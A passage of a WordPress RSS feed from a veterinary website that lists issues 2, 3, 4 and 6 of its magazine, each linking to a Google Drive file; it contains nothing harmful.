		<dc:creator><![CDATA[pmdiyar]]></dc:creator>
		<pubDate>Wed, 19 Aug 2026 18:42:18 +0000</pubDate>
				<category><![CDATA[Magazine]]></category>
		<guid ispermalink="false">https://nahrainveterinary.com/?p=4908</guid>

					<description><![CDATA[nahrain veterinary magazine no. 2   https://drive.google.com/file/d/1gvXyrCi12tt8ycTVVCgfEIdRH2aNkqUq/view?usp=drive_link]]></description>
										<content:encoded><![CDATA[<p>nahrain veterinary magazine no. 2</p>
<p>&nbsp;</p>
<p><a href="http://nahrain veterinary magazine no. 2">https://drive.google.com/file/d/1gvXyrCi12tt8ycTVVCgfEIdRH2aNkqUq/view?usp=drive_link</a></p>]]></content:encoded>
					
					<wfw:commentrss>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-2/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>nahrain veterinary magazine no. 3</title>
		<link>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-3/</link>
					<comments>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-3/#respond</comments>
		
		<dc:creator><![CDATA[pmdiyar]]></dc:creator>
		<pubDate>Wed, 19 Aug 2026 18:41:14 +0000</pubDate>
				<category><![CDATA[Magazine]]></category>
		<guid ispermalink="false">https://nahrainveterinary.com/?p=4905</guid>

					<description><![CDATA[nahrain veterinary magazine no. 3   https://drive.google.com/file/d/1fDeQN3gRXo86k73GbRWUGWwwqZwZC_Ig/view?usp=drive_link]]></description>
										<content:encoded><![CDATA[<p>nahrain veterinary magazine no. 3</p>
<p>&nbsp;</p>
<p><a href="http://nahrain veterinary magazine no. 3">https://drive.google.com/file/d/1fDeQN3gRXo86k73GbRWUGWwwqZwZC_Ig/view?usp=drive_link</a></p>]]></content:encoded>
					
					<wfw:commentrss>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-3/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>nahrain veterinary magazine no. 4</title>
		<link>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-4/</link>
					<comments>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-4/#respond</comments>
		
		<dc:creator><![CDATA[pmdiyar]]></dc:creator>
		<pubDate>Wed, 19 Aug 2026 18:39:32 +0000</pubDate>
				<category><![CDATA[Magazine]]></category>
		<guid ispermalink="false">https://nahrainveterinary.com/?p=4902</guid>

					<description><![CDATA[nahrain veterinary magazine no. 4   https://drive.google.com/file/d/1iD9DeJcFXrxBYQgQ4jTpcktowlX-eYKI/view?usp=drive_link]]></description>
										<content:encoded><![CDATA[<p>nahrain veterinary magazine no. 4</p>
<p>&nbsp;</p>
<p><a href="http://nahrain veterinary magazine no. 4">https://drive.google.com/file/d/1iD9DeJcFXrxBYQgQ4jTpcktowlX-eYKI/view?usp=drive_link</a></p>]]></content:encoded>
					
					<wfw:commentrss>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-4/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>nahrain veterinary magazine no. 6</title>
		<link>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-6/</link>
					<comments>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-6/#respond</comments>
		
		<dc:creator><![CDATA[pmdiyar]]></dc:creator>
		<pubDate>Wed, 19 Aug 2026 18:37:36 +0000</pubDate>
				<category><![CDATA[Magazine]]></category>
		<guid ispermalink="false">https://nahrainveterinary.com/?p=4899</guid>

					<description><![CDATA[nahrain veterinary magazine no. 6 https://drive.google.com/file/d/18sT6XBxeEwP15Q8j1v1Nf8dKhH3537mX/view?usp=drive_link  ]]></description>
										<content:encoded><![CDATA[<p>nahrain veterinary magazine no. 6</p>
<p><a href="http://nahrain veterinary magazine no. 6">https://drive.google.com/file/d/18sT6XBxeEwP15Q8j1v1Nf8dKhH3537mX/view?usp=drive_link</a></p>
<p>&nbsp;</p>]]></content:encoded>
					
					<wfw:commentrss>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-6/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>